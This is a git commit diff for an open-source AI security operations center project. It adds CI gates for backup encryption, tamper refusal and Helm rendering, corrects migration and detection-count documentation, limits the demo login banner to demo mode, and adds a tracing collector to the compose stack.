Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

Four pillars, plus the credibility floor (#696)

Beenu Arora56ed73ff10d4
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 5d5c363fe..0e5769b91 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -338,6 +338,8 @@ jobs:
tests/test_prompt_envelope.py \
tests/test_privacy_redactor.py \
tests/test_cost_governor.py \
+ tests/test_bundle_incident_context.py \
+ tests/test_deep_investigation.py \
tests/test_model_router.py \
tests/test_llm_ops.py \
tests/test_fused_alert_worker.py \
@@ -345,6 +347,57 @@ jobs:
tests/test_swarm.py \
tests/test_swarm_vs_single.py \
-v --tb=short
+ - name: Toolchain versions must agree
+ # Six go.mod files declared five different Go versions while the Go
+ # matrix installed a sixth, so one module could not be built by the
+ # toolchain CI provides. Nothing compared the two.
+ run: python3 scripts/check_toolchain_versions.py
+
+ - name: Benchmark harness (Pillar 4)
+ # The harness must stay runnable against an agent that is not ours,
+ # and must keep refusing the ways a scoring harness quietly hands out
+ # credit: abstaining to raise accuracy, citing unverifiable
+ # indicators, self-reporting a flattering latency, and publishing a
+ # figure without saying the corpus was synthetic.
+ run: |
+ python3 -m pip install --quiet httpx
+ cd packages/aisoc-benchmark
+ PYTHONPATH=. python3 -m pytest tests/ -q
+
+ - name: Corpus must match its generator
+ # Two hand-edited copies of 200 incidents drift within a release, and
+ # the published figure then describes a corpus nobody has.
+ run: |
+ python3 packages/aisoc-benchmark/build_corpus.py
+ git diff --exit-code packages/aisoc-benchmark/corpus/ || {
+ echo "::error::the benchmark corpus is out of date; run build_corpus.py and commit"
+ exit 1
+ }
+
+ - name: Gate the action contract (Pillar 3)
+ # Four properties of every response action were previously inferred
+ # rather than declared: risk (from the capability name in one place
+ # and a policy table in another, which can disagree), reversibility
+ # (a hardcoded list of four actions), verification (absent, so an
+ # action reported success on an HTTP 200), and whether any tier may
+ # ever auto-execute it. This asserts each executor declares a
+ # coherent contract, that the approval matrix can only ever raise a
+ # requirement, and that the capability mirror matches the connectors
+ # enum — a check capabilities.py has documented for months against a
+ # test file that does not exist.
+ run: python3 scripts/check_action_contract.py
+
+ - name: Gate investigation depth (Pillar 2)
+ # run_with_tools shipped working, guarded and instrumented with zero
+ # production callers, so the platform's deepest capability was
+ # reachable only from tests. This asserts it still has one, that every
+ # strategy names real tools, that every tool the model is offered has
+ # a strategy telling it when to reach for one, and that selection
+ # discriminates rather than always returning the fallback. Structure,
+ # not prose: an investigation that summarises the alert reads exactly
+ # like one that pivoted five times.
+ run: python3 scripts/check_investigation_depth.py
+
- name: Gate the public benchmark scoreboard (Phase E1)
# Ties apps/docs/static/data/scoreboard.json to a real deterministic
# live-agent MITRE-accuracy run: the newest substrate row must match a
@@ -608,7 +661,7 @@ jobs:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
- go-version: '1.25'
+ go-version: '1.26'
cache-dependency-path: services/${{ matrix.service }}/go.sum
- name: Build
run: |
@@ -636,7 +689,7 @@ jobs:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
- go-version: '1.25'
+ go-version: '1.26'
cache-dependency-path: packages/plugin-sdk-go/go.sum
- name: Build
run: |
diff --git a/.github/workflows/integration.yml b/.github/workflows/integration.yml
index 05f5d2f48..54021008d 100644
--- a/.github/workflows/integration.yml
+++ b/.github/workflows/integration.yml
@@ -361,12 +361,15 @@ jobs:
AWS_SECRET_ACCESS_KEY: minioadmin
AWS_ENDPOINT_URL: http://localhost:9000
AWS_DEFAULT_REGION: us-east-1
+ # Backups are encrypted by default. A CI key is fine: the bucket is
+ # ephemeral and holds nothing but the probe table.
+ BACKUP_ENCRYPTION_KEY: 2b7e151628aed2a6abf7158809cf4f3c762e7160f38b4da56a784d9045190cfe
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
- name: Install tooling (awscli + postgres client)
run: |
- pip install --quiet awscli
+ pip install --quiet awscli cryptography
sudo apt-get update -q && sudo apt-get install -y -q postgresql-client
# MinIO needs a `server /data` command, which the GitHub `services:`
@@ -403,6 +406,54 @@ jobs:
- name: Backup (scripts/backup.sh)
run: ./scripts/backup.sh --component postgres
+ # The restore assertion below proves the dump round-trips. It cannot
+ # prove the object in the bucket is unreadable to whoever can list the
+ # bucket, which is the property the encryption exists for — and which
+ # architecture.md claimed for months while backup.sh shipped plaintext.
+ - name: Assert the uploaded artifact is encrypted and manifested
+ run: |
+ set -euo pipefail
+ KEY=$(aws s3 ls "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/" \
+ | awk '{print $4}' | tail -1)
+ echo "uploaded object: ${KEY}"
+ case "$KEY" in
+ *.enc) ;;
+ *) echo "::error::backup uploaded without the .enc suffix: ${KEY}"; exit 1 ;;
+ esac
+
+ aws s3 cp "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/${KEY}" /tmp/artifact.enc
+
+ # gzip magic would mean the dump went up in the clear.
+ if head -c 2 /tmp/artifact.enc | od -An -tx1 | grep -q '1f 8b'; then
+ echo "::error::artifact begins with gzip magic; it is not encrypted"
+ exit 1
+ fi
+ head -c 8 /tmp/artifact.enc | grep -q 'AISOCBK1' || {
+ echo "::error::artifact is missing the AiSOC backup header"; exit 1; }
+
+ # And the table name must not be readable in the ciphertext.
+ if grep -aq 'dr_probe' /tmp/artifact.enc; then
+ echo "::error::plaintext schema leaked into the encrypted artifact"
+ exit 1
+ fi
+
+ MANIFEST=$(aws s3 ls "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/manifests/" \
+ | awk '{print $4}' | tail -1)
+ [ -n "$MANIFEST" ] || { echo "::error::no manifest uploaded"; exit 1; }
+ aws s3 cp "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/manifests/${MANIFEST}" /tmp/manifest.json
+ python3 -c "
+ import json, sys
+ doc = json.load(open('/tmp/manifest.json'))
+ assert doc['encryption'] == 'aes-256-gcm', doc
+ arts = doc['artifacts']
+ assert arts, 'manifest lists no artifacts'
+ for a in arts:
+ assert a['encrypted'] is True, a
+ assert len(a['sha256_plaintext']) == 64, a
+ assert len(a['sha256_ciphertext']) == 64, a
+ print(f'manifest ok: {len(arts)} artifact(s), aes-256-gcm')
+ "
+
- name: Destroy all data
run: |
PGPASSWORD=aisoc_ci_secret psql -h localhost -U aisoc -d aisoc \
@@ -427,6 +478,32 @@ jobs:
echo "rows after restore: ${COUNT}"
[ "${COUNT}" = "500" ] || { echo "::error::data loss after restore (${COUNT}/500 rows)"; exit 1; }
+ # A backup that restores is necessary but not sufficient: a corrupted
+ # backup must refuse to restore rather than produce a partial database,
+ # which is the failure that gets discovered during an incident.
+ - name: Assert a tampered backup is refused
+ run: |
+ set -uo pipefail
+ KEY=$(aws s3 ls "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/" \
+ | awk '{print $4}' | tail -1)
+ aws s3 cp "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/${KEY}" /tmp/tamper.enc
+
+ # Flip one bit deep inside the ciphertext.
+ python3 -c "
+ import pathlib
+ p = pathlib.Path('/tmp/tamper.enc')
+ b = bytearray(p.read_bytes())
+ b[len(b) // 2] ^= 0x01
+ p.write_bytes(bytes(b))
+ "
+ aws s3 cp /tmp/tamper.enc "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/${KEY}"
+
+ if ./scripts/restore.sh --latest --component postgres < /dev/null; then
+ echo "::error::restore accepted a tampered backup"
+ exit 1
+ fi
+ echo "tampered backup correctly refused"
+
- name: Publish DR summary
run: |
{
@@ -437,6 +514,8 @@ jobs:
echo "| rows seeded | 500 |"
echo "| rows after restore | 500 |"
echo "| measured RTO | ${RTO_SECONDS}s |"
+ echo "| artifact encryption | AES-256-GCM (asserted unreadable in the bucket) |"
+ echo "| integrity | SHA-256 manifest; tampered artifact refused |"
echo "| RPO | last completed backup (event-loss window = backup cadence) |"
} >> "$GITHUB_STEP_SUMMARY"
diff --git a/.github/workflows/readme-gates.yml b/.github/workflows/readme-gates.yml
index 4728f0fee..9733f6493 100644
--- a/.github/workflows/readme-gates.yml
+++ b/.github/workflows/readme-gates.yml
@@ -10,13 +10,15 @@ name: README · onramp gates
# "Coming in v8.0" guard.
# 3. Any `apps/web/public/demo/<asset>` path the README points at must
# exist on disk (or be paired with the same kind of guard).
-# 4. `aisoc-sandbox demo --scenario <each>` must run to completion
+# 4. Figures the README quotes from generated artifacts (executable
+# detection count, claim-gate tally) must match those artifacts.
+# 5. `aisoc-sandbox demo --scenario <each>` must run to completion
# offline on both Linux and macOS — that's the README's
# "Try AiSOC in 60 seconds, no Docker" promise.
#
-# Gates 1–3 share a single Python driver at scripts/readme_gates.py so
+# Gates 1–4 share a single Python driver at scripts/readme_gates.py so
# contributors can reproduce the same checks locally with one command.
-# Gate 4 needs the cross-platform matrix, so it runs separately.
+# Gate 5 needs the cross-platform matrix, so it runs separately.
on:
pull_request:
@@ -26,6 +28,9 @@ on:
- 'packages/aisoc-sandbox/**'
- 'apps/web/public/demo/**'
- 'scripts/readme_gates.py'
+ - 'tests/test_readme_figures_gate.py'
+ - 'docs/detections/truth-table.md'
+ - 'docs/audit/CLAIM_TO_GATE_MATRIX.md'
- '.github/workflows/readme-gates.yml'
push:
branches: [main]
@@ -34,6 +39,9 @@ on:
- 'packages/aisoc-sandbox/**'
- 'apps/web/public/demo/**'
- 'scripts/readme_gates.py'
+ - 'tests/test_readme_figures_gate.py'
+ - 'docs/detections/truth-table.md'
+ - 'docs/audit/CLAIM_TO_GATE_MATRIX.md'
- '.github/workflows/readme-gates.yml'
workflow_dispatch:
# The published-onramp job below checks the public registries, so it has to
@@ -51,7 +59,7 @@ concurrency:
jobs:
static:
- name: README · static gates (line-count, packages, demo assets)
+ name: README · static gates (line-count, packages, demo assets, figures)
runs-on: ubuntu-latest
timeout-minutes: 10
@@ -62,6 +70,11 @@ jobs:
with:
python-version: '3.11'
+ - name: Unit-test the gate driver
+ run: |
+ python3 -m pip install --quiet pytest
+ python3 -m pytest tests/test_readme_figures_gate.py -q
+
- name: Run scripts/readme_gates.py
run: |
python3 scripts/readme_gates.py --skip-sandbox
diff --git a/.github/workflows/terraform-ci.yml b/.github/workflows/terraform-ci.yml
index cb07362a3..8de2cf2ee 100644
--- a/.github/workflows/terraform-ci.yml
+++ b/.github/workflows/terraform-ci.yml
@@ -1,14 +1,16 @@
-name: Terraform CI
+name: Infrastructure CI
on:
pull_request:
paths:
- "infra/terraform/**"
+ - "infra/helm/**"
- ".github/workflows/terraform-ci.yml"
push:
branches: [main, develop]
paths:
- "infra/terraform/**"
+ - "infra/helm/**"
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
@@ -46,3 +48,89 @@ jobs:
terraform_wrapper: false
- run: terraform init -backend=false
- run: terraform validate
+
+ # The chart shipped referencing .Values.ueba, .Values.honeytokens and
+ # .Values.purpleTeam, none of which existed in values.yaml. `helm template`
+ # failed on a nil pointer, so the chart could not be rendered at all — and
+ # nothing in CI ever tried, which is why it stayed that way. Rendering it is
+ # the cheapest possible proof that the documented install path exists.
+ helm:
+ name: Helm chart renders
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
+
+ - uses: azure/setup-helm@b9e51907a09c216f16ebe8536097933489208112 # v4.3.0
+ with:
+ version: v3.16.3
+
+ - name: Fetch chart dependencies
+ working-directory: infra/helm/aisoc
+ run: |
+ helm repo add bitnami https://charts.bitnami.com/bitnami
+ helm dependency build
+
+ - name: helm lint
+ run: helm lint infra/helm/aisoc
+
+ - name: Render with defaults
+ run: helm template aisoc infra/helm/aisoc > /tmp/default.yaml
+
+ - name: Render with every optional component enabled
+ run: |
+ helm template aisoc infra/helm/aisoc \
+ --set backup.enabled=true \
+ --set backup.s3.bucket=s3://example \
+ --set backup.encryption.existingSecret=aisoc-backup-secret \
+ --set honeytokens.enabled=true \
+ --set purpleTeam.enabled=true \
+ --set networkPolicy.enabled=true \
+ > /tmp/full.yaml
+
+ - name: Assert the manifests are valid and the backup job is present
+ run: |
+ python3 - <<'PY'
+ import sys, yaml
+
+ for path in ("/tmp/default.yaml", "/tmp/full.yaml"):
+ with open(path) as fh:
+ docs = [d for d in yaml.safe_load_all(fh) if d]
+ assert docs, f"{path} rendered nothing"
+ for d in docs:
+ assert d.get("kind"), f"{path}: manifest with no kind: {d}"
+ assert d.get("apiVersion"), f"{path}: manifest with no apiVersion"
+ print(f"{path}: {len(docs)} manifests")
+
+ with open("/tmp/full.yaml") as fh:
+ full = [d for d in yaml.safe_load_all(fh) if d]
+
+ crons = [d for d in full if d["kind"] == "CronJob"]
+ assert len(crons) == 1, f"expected one backup CronJob, got {len(crons)}"
+ spec = crons[0]["spec"]
+ assert spec["concurrencyPolicy"] == "Forbid", spec
+ # A stuck job must not suppress every later run indefinitely.
+ assert spec["jobTemplate"]["spec"]["activeDeadlineSeconds"] > 0
+ container = spec["jobTemplate"]["spec"]["template"]["spec"]["containers"][0]
+ assert container["command"] == ["/app/scripts/backup.sh"], container["command"]
+ env = {e["name"] for e in container["env"]}
+ assert "BACKUP_ENCRYPTION_KEY" in env, "backup job has no encryption key"
+ assert container["securityContext"]["readOnlyRootFilesystem"] is True
+ print("backup CronJob: ok")
+
+ # Every optional component must actually appear when enabled,
+ # otherwise the flags are decorative.
+ names = {d["metadata"]["name"] for d in full}
+ for want in ("honeytokens", "purple-team", "ueba"):
+ assert any(want in n for n in names), f"{want} missing from the full render"
+ print("optional components: ok")
+ PY
+
+ - name: Backup script must accept every component the chart can request
+ run: |
+ set -euo pipefail
+ for c in postgres clickhouse plugins neo4j qdrant redis all; do
+ BACKUP_S3_BUCKET=s3://ci BACKUP_ENCRYPTION=off \
+ ./scripts/backup.sh --dry-run --component "$c" >/dev/null \
+ || { echo "::error::backup.sh rejected --component $c"; exit 1; }
+ done
+ echo "all components accepted"
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index ba68f9bda..5b8535b76 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -73,7 +73,41 @@ If you get stuck, [open a Q&A discussion](https://github.com/beenuar/AiSOC/discu
## Development Setup
-See [README.md](README.md#development) for detailed setup instructions.
+### Prerequisites
+
+These are the versions CI installs. A mismatch usually shows up as a test
+that passes locally and fails in the pipeline, which is an expensive way to
+discover it.
+
+| Tool | Version | Why this one |
+|--------|----------|---------------------------------------------------------|
+| Python | 3.12 | The API and agent services; 3.11 also works locally |
+| Node | 22 | `apps/web`, `services/realtime`, `services/mcp` |
+| pnpm | 8.15.1 | Pinned in `package.json`; a different major resolves differently |
+| Go | 1.26 | Every `go.mod`, gated by `scripts/check_toolchain_versions.py` |
+| Docker | 24+ | Compose v2 for the local stack and the integration gates |
+
+`scripts/check_toolchain_versions.py` asserts every `go.mod` agrees with
+itself and with what CI installs. Six modules previously declared five
+different Go versions while CI installed a sixth, so one module could not be
+built by the toolchain the pipeline provided.
+
+### Running the stack
+
+```bash
+pnpm install --frozen-lockfile
+docker compose up -d # Postgres, Redis, Kafka, ClickHouse, Neo4j
+(cd services/api && uv sync && uv run python -m app.scripts.run_migrations)
+```
+
+The API migration runner is forward-only and is **not** Alembic — there is no
+`alembic.ini` under `services/api`. Set `AISOC_MIGRATIONS_STRICT=1` so a
+failed migration aborts; without it the runner logs the failure, continues,
+and exits 0 with a partially-applied schema.
+
+For the fastest possible loop with no Docker at all, `aisoc-sandbox demo`
+runs the four-stage agent funnel offline in under five seconds. See
+[`packages/aisoc-sandbox/README.md`](packages/aisoc-sandbox/README.md).
## Making Changes
diff --git a/README.md b/README.md
index e6d8ce9b4..0913c982a 100644
--- a/README.md
+++ b/README.md
@@ -82,7 +82,7 @@ The orchestrator is a ~600-line LangGraph in [`services/agents/`](services/agent
| Autonomous AI investigation | LangGraph | no | partial (Splunk AI) | yes |
| Agent decision audit trail | public Investigation Ledger | n/a | n/a | not published |
| Public substrate eval harness | CI-gated, reproducible, with synthetic telemetry corpus + per-template macros | n/a | n/a | not published |
-| Detection content | 947 executable (869 native) firing on the live stream + 6 000-rule provenance-tracked imported library ([truth table](docs/detections/truth-table.md)) | 1 200+ rules | 1 000+ apps | curated |
+| Detection content | 833 executable firing on the live stream + 6 000-rule provenance-tracked imported library ([truth table](docs/detections/truth-table.md)) | 1 200+ rules | 1 000+ apps | curated |
| Plugin SDK | Python / TypeScript / Go | YAML rules only | apps | proprietary |
| Data residency | your infra | your infra | partial | vendor cloud |
| Pricing | $0 (self-host) | $0 (self-host) | per ingest GB | enterprise |
@@ -172,14 +172,14 @@ Full architecture (every service, every storage role, the v1.5 console workbench
A handful of headline capabilities — the rest are catalogued in [`apps/docs/docs/features/`](apps/docs/docs/features/) and indexed at the top of [`apps/docs/docs/intro.md`](apps/docs/docs/intro.md):
-> **Maturity (v8.0.0 — Close the loop).** The end-to-end spine is wired and CI-gated: ingest → ClickHouse lake → live detection → fused alert → auto-triage → governed response. v8.0 connected capabilities the codebase already contained but never called. Response actions are now **verified against the vendor** rather than assumed from a 200 — an action that reports success while the effect is absent is reported as failed, because that gap is how a SOC comes to believe a host is contained when it is not. Autonomy is governed by **each tenant's own** L0–L4 policy instead of one deployment-wide environment variable. Repeat-alert suppression, shipped in v7.7, **could never fire** — the evidence fingerprint included the alert id, so no repeat ever matched; it now does. Analysts can **hunt the events AiSOC itself ingested** instead of needing an external SIEM. A verdict citing indicators the evidence never contained is demoted to human review rather than auto-closed. Autonomous *response* still defaults to copilot/dry-run: an autonomy policy governs every real execution. The live-agent LLM benchmark is preview (the deterministic-tier scoreboard is CI-gated per PR); substrate eval suites are GA. Every product claim is backed by a failing test — [claim-to-gate matrix](docs/audit/CLAIM_TO_GATE_MATRIX.md): 62 GATED / 11 PARTIAL / 0 NO GATE. Full per-claim status: [`docs/audit/REALITY_REPORT.md`](docs/audit/REALITY_REPORT.md).
+> **Maturity (v8.0.0 — Close the loop).** The end-to-end spine is wired and CI-gated: ingest → ClickHouse lake → live detection → fused alert → auto-triage → governed response. v8.0 connected capabilities the codebase already contained but never called. Response actions are now **verified against the vendor** rather than assumed from a 200 — an action that reports success while the effect is absent is reported as failed, because that gap is how a SOC comes to believe a host is contained when it is not. Autonomy is governed by **each tenant's own** L0–L4 policy instead of one deployment-wide environment variable. Repeat-alert suppression, shipped in v7.7, **could never fire** — the evidence fingerprint included the alert id, so no repeat ever matched; it now does. Analysts can **hunt the events AiSOC itself ingested** instead of needing an external SIEM. A verdict citing indicators the evidence never contained is demoted to human review rather than auto-closed. Autonomous *response* still defaults to copilot/dry-run: an autonomy policy governs every real execution. The live-agent LLM benchmark is preview (the deterministic-tier scoreboard is CI-gated per PR); substrate eval suites are GA. Every product claim is backed by a failing test — [claim-to-gate matrix](docs/audit/CLAIM_TO_GATE_MATRIX.md): 91 GATED / 11 PARTIAL / 0 NO GATE. Full per-claim status: [`docs/audit/REALITY_REPORT.md`](docs/audit/REALITY_REPORT.md).
- **84 click-and-connect data connectors** (EDR/XDR, SIEM, NDR, cloud, CNAPP, identity, SaaS, VCS, K8s audit, network) with schema-driven config, live `Test connection`, and vault-encrypted secrets — recently adding Qualys, GreyNoise, JumpCloud, Darktrace, and Imperva alongside IBM QRadar, Netskope, Zeek/Suricata NDR, and more. One query runs SIEM-agnostic **federated search** across Splunk SPL / Sentinel KQL / Elastic ES&#124;QL / **QRadar AQL**. Walkthrough: [`apps/docs/docs/connectors/index.md`](apps/docs/docs/connectors/index.md).
-- **End-to-end SIEM spine** — a cold `docker compose up` ingests connector data → lands it in the ClickHouse event lake → the executable detection corpus (947 rules) fires on the live stream → a fused alert is created, all asserted by an extended integration gate. Fuse-time threat-intel + CISA-KEV enrichment now feeds the confidence score and exploit-in-wild boost, and **stateful/windowed detections** (brute-force, password-spray, port-scan) run alongside the corpus. [`apps/docs/docs/architecture.md`](apps/docs/docs/architecture.md).
+- **End-to-end SIEM spine** — a cold `docker compose up` ingests connector data → lands it in the ClickHouse event lake → the executable detection corpus (833 rules) fires on the live stream → a fused alert is created, all asserted by an extended integration gate. Fuse-time threat-intel + CISA-KEV enrichment now feeds the confidence score and exploit-in-wild boost, and **stateful/windowed detections** (brute-force, password-spray, port-scan) run alongside the corpus. [`apps/docs/docs/architecture.md`](apps/docs/docs/architecture.md).
- **Autonomous triage + governed response** — every fused alert is auto-triaged by the agent (copilot/read-only by default) with a prompt-injection guard that demotes tampered evidence to manual review; a unified **confidence × blast-radius × reversibility** policy authorizes auto-execution only for reversible, low-blast actions at high confidence (everything else stays gated to a human), with real rollback + post-action verification. [`apps/docs/docs/concepts/automation-maturity.md`](apps/docs/docs/concepts/automation-maturity.md).
- **Advanced Data Explorer** — one investigation surface (NL + SQL over the lake, plus pivots to identity/graph/intel), replacing the SIEM context-switch. `/explore`.
- **Investigation Rail + replayable Investigation Ledger** — every prompt, tool call, evidence chip, and rationale stored against a case, replayable in the UI and shareable as a redacted public permalink. [`apps/docs/docs/console/investigation-rail.md`](apps/docs/docs/console/investigation-rail.md).
-- **Detection-as-Code lifecycle** — propose → review → eval-gate → promote; CI rejects any candidate that fails its own positive/negative fixtures (the non-circular gate) or regresses MITRE accuracy. Analyst false-positive feedback now feeds a **self-improving tuner** that proposes scoped rule exceptions / severity changes (human-approved, never auto-applied). [`apps/docs/docs/concepts/detections.md`](apps/docs/docs/concepts/detections.md) — and the 869 native rules live in [`detections/`](detections/).
+- **Detection-as-Code lifecycle** — propose → review → eval-gate → promote; CI rejects any candidate that fails its own positive/negative fixtures (the non-circular gate) or regresses MITRE accuracy. Analyst false-positive feedback now feeds a **self-improving tuner** that proposes scoped rule exceptions / severity changes (human-approved, never auto-applied). [`apps/docs/docs/concepts/detections.md`](apps/docs/docs/concepts/detections.md) — and the native rules live in [`detections/`](detections/), of which the truth table records how many actually execute.
- **Three-model AI + tool-using agents** — Semantic (graph-at-ingest), Behavioral (UEBA fused into alert scoring), and Knowledge (LLM), with fuse-time attack-chain grouping. The agent calls real tools (IOC enrichment, MITRE lookup, graph blast-radius) through an **LLM tool-calling loop**, and a **scored planner** routes each alert to the right specialist instead of fanning out to all four.
- **Cost-governed LLM routing** — per-tenant budgets + circuit breaker, token/cost telemetry, a content-addressed response cache, a cheap-first cost cascade (escalate to the strong model only on low confidence), multi-model gateway fallbacks, and per-tenant BYOK keys. [`services/agents/app/routing/`](services/agents/app/routing/).
- **Hunt-as-Code** — YAML hypotheses with MITRE tags, cron schedules, and natural-language `/hunt` workbench. [`hunts/`](hunts/) + [`apps/docs/docs/console/rule-tuning.md`](apps/docs/docs/console/rule-tuning.md).
diff --git a/apps/docs/docs/architecture.md b/apps/docs/docs/architecture.md
index 5ff8adb6d..46a928436 100644
--- a/apps/docs/docs/architecture.md
+++ b/apps/docs/docs/architecture.md
@@ -316,7 +316,7 @@ The push pipeline lives in
- **Immutable Audit Log** — Postgres trigger + `SECURITY DEFINER` function prevents UPDATE/DELETE on `audit_log`.
- **Replayable agent decisions** — The Investigation Ledger is append-only and tenant-scoped.
- **OpenTelemetry** — All services emit traces, metrics, and structured logs to a configurable OTLP endpoint.
-- **Backup & Restore** — `scripts/backup.sh` / `restore.sh` with AES-256-GCM encryption and SHA-256 manifest.
+- **Backup & Restore** — `scripts/backup.sh` / `restore.sh`. Artifacts are encrypted with **AES-256-GCM** before leaving the host and recorded in a **SHA-256 manifest**; restore verifies the digest, decrypts, and refuses a tampered or truncated archive rather than restoring a partial database. Gated end-to-end in `integration.yml`: seed 500 rows, back up, assert the object in the bucket is unreadable (no gzip magic, no schema names), drop the schema, restore, assert 500 rows, then flip a bit and assert the restore is refused. Covers Postgres, ClickHouse, the plugin store, the **Neo4j entity graph** (APOC cypher export), **Qdrant** (per-collection snapshot) and **Redis** (RDB). Scheduled by the `backup` CronJob in the Helm chart — disabled by default because it needs a bucket, credentials and a key only the operator can supply. The RPO is the schedule interval. **Kafka is not backed up**: it is a transport, and its retained window is replayable from the lake rather than restorable.
- **High-Availability Helm** — Multi-replica deployments, HPA, PDB, anti-affinity, and readiness probes.
## Plugin Extension Points
diff --git a/apps/docs/docs/operations/upgrades.md b/apps/docs/docs/operations/upgrades.md
index 700145a4e..5d80da716 100644
--- a/apps/docs/docs/operations/upgrades.md
+++ b/apps/docs/docs/operations/upgrades.md
@@ -73,7 +73,10 @@ pnpm install --frozen-lockfile
# 4. Run database migrations.
# From v7.3.1 onwards you can use the CLI directly:
aisoc db upgrade
-# (Equivalent to: cd services/api && uv run alembic upgrade head)
+# (Equivalent to: cd services/api && uv run python -m app.scripts.run_migrations)
+# Set AISOC_MIGRATIONS_STRICT=1 so a failed migration aborts. Without it the
+# runner logs the failure, rolls that statement back, continues, and exits 0 —
+# which ships a partially-applied schema silently.
# 5. Start the API service back up.
docker compose -f infra/compose/docker-compose.dev.yml up -d api
@@ -103,7 +106,7 @@ After a successful upgrade you should be able to:
- Open the analyst console and see the version footer match the new tag.
- Check `/api/v1/system/version` and see the same number.
-If any of those fail, see [Troubleshooting](./troubleshooting) — the upgrade can almost always be rolled back by checking out the previous tag and reverting the last migration with `alembic downgrade -1`.
+If any of those fail, see [Troubleshooting](./troubleshooting). Note what rollback does and does not mean here: `services/api` uses a **forward-only** SQL migration runner (`services/api/app/scripts/run_migrations.py`), not Alembic — there is no `alembic.ini`, no `alembic/` directory, and no downgrade concept. The only services with Alembic are `ueba`, `honeytokens`, `purple-team` and `osquery-tls`. Reverting the **code** to the previous tag is supported; reverting the **schema** is not, so a rollback that needs the old schema means restoring the snapshot taken in step 2 of the pre-upgrade checklist.
## Rolling back
@@ -113,7 +116,10 @@ Patch and minor releases are designed to roll back cleanly. The procedure mirror
git checkout v7.3.0 # the previous tag
pnpm install --frozen-lockfile
(cd services/api && uv sync)
-(cd services/api && uv run alembic downgrade <previous_revision>)
+# No schema downgrade step: the API migration runner is forward-only.
+# Additive migrations (the common case) are backward compatible, so the previous
+# code runs against the newer schema. If a migration was destructive, restore the
+# snapshot instead — the CHANGELOG flags those as irreversible.
docker compose -f infra/compose/docker-compose.dev.yml up -d api
```
diff --git a/apps/web/src/app/login/page.tsx b/apps/web/src/app/login/page.tsx
index 5e77b02d3..566444546 100644
--- a/apps/web/src/app/login/page.tsx
+++ b/apps/web/src/app/login/page.tsx
@@ -16,6 +16,7 @@ import Link from 'next/link';
import { useRouter, useSearchParams } from 'next/navigation';
import { Suspense, useEffect, useState } from 'react';
import { authApi } from '@/lib/api';
+import { isDemoMode } from '@/lib/demoMode';
type Phase = 'idle' | 'pending' | 'success' | 'error';
@@ -120,12 +121,17 @@ function LoginInner() {
Sign in to AiSOC
</h1>
<p className="text-sm text-zinc-400 mt-2 leading-relaxed">
- Open-source AI SOC console. Use the demo credentials below or
- your own tenant&rsquo;s account.
+ Open-source AI SOC console. Sign in with your tenant&rsquo;s
+ account.
</p>
</div>
- {/* Demo banner */}
+ {/* Demo banner — demo mode only.
+ These credentials are seeded by the public demo and exist
+ nowhere else, so on a self-hosted deployment this rendered a
+ "Use demo" button that fails and told the operator's own users
+ to sign in with an account on somebody else's instance. */}
+ {isDemoMode() && (
<div className="mb-6 rounded-xl border border-indigo-500/30 bg-indigo-500/5 px-4 py-3 text-sm">
<div className="flex items-start justify-between gap-3">
<div>
@@ -144,6 +150,7 @@ function LoginInner() {
</button>
</div>
</div>
+ )}
{/* Form */}
<form onSubmit={submit} className="space-y-4" noValidate>
@@ -242,7 +249,7 @@ function LoginInner() {
href="/"
className="hover:text-zinc-400 underline-offset-2 hover:underline"
>
- ← Back to tryaisoc.com
+ ← Back to home
</Link>
</p>
</div>
diff --git a/docker-compose.yml b/docker-compose.yml
index 37fb07354..17afc41fc 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -20,6 +20,7 @@ networks:
driver: bridge
volumes:
+ tempo_data:
postgres_data:
redis_data:
kafka_data:
@@ -769,11 +770,59 @@ services:
profiles:
- monitoring
+ # ── Tracing ────────────────────────────────────────────────────────────────
+ # The services default OTEL_EXPORTER_OTLP_ENDPOINT to
+ # http://otel-collector:4317 and no collector shipped in any compose file,
+ # so out of the box every span went into a connection error. That is worse
+ # than having no tracing at all: the code looks instrumented, the logs fill
+ # with export failures, and nobody can tell whether a missing trace means a
+ # missing span or a missing collector.
+ #
+ # Scope, stated because the docs previously overstated it: api, agents,
+ # ueba and honeytokens are instrumented. ingest (Go) and realtime
+ # (TypeScript) are not, and they are the two ends of the Kafka spine.
+ otel-collector:
+ image: otel/opentelemetry-collector-contrib:0.109.0
+ container_name: aisoc-otel-collector
+ command: ["--config=/etc/otel/collector.yaml"]
+ depends_on:
+ - tempo
+ volumes:
+ - ./infra/docker/otel/collector.yaml:/etc/otel/collector.yaml:ro
+ ports:
+ - "127.0.0.1:4317:4317"
+ - "127.0.0.1:4318:4318"
+ healthcheck:
+ test: ["CMD", "/otelcol-contrib", "--version"]
+ interval: 30s
+ timeout: 5s
+ retries: 3
+ networks:
+ - aisoc
+ profiles:
+ - monitoring
+
+ tempo:
+ image: grafana/tempo:2.6.0
+ container_name: aisoc-tempo
+ command: ["-config.file=/etc/tempo/tempo.yaml"]
+ user: "0:0"
+ volumes:
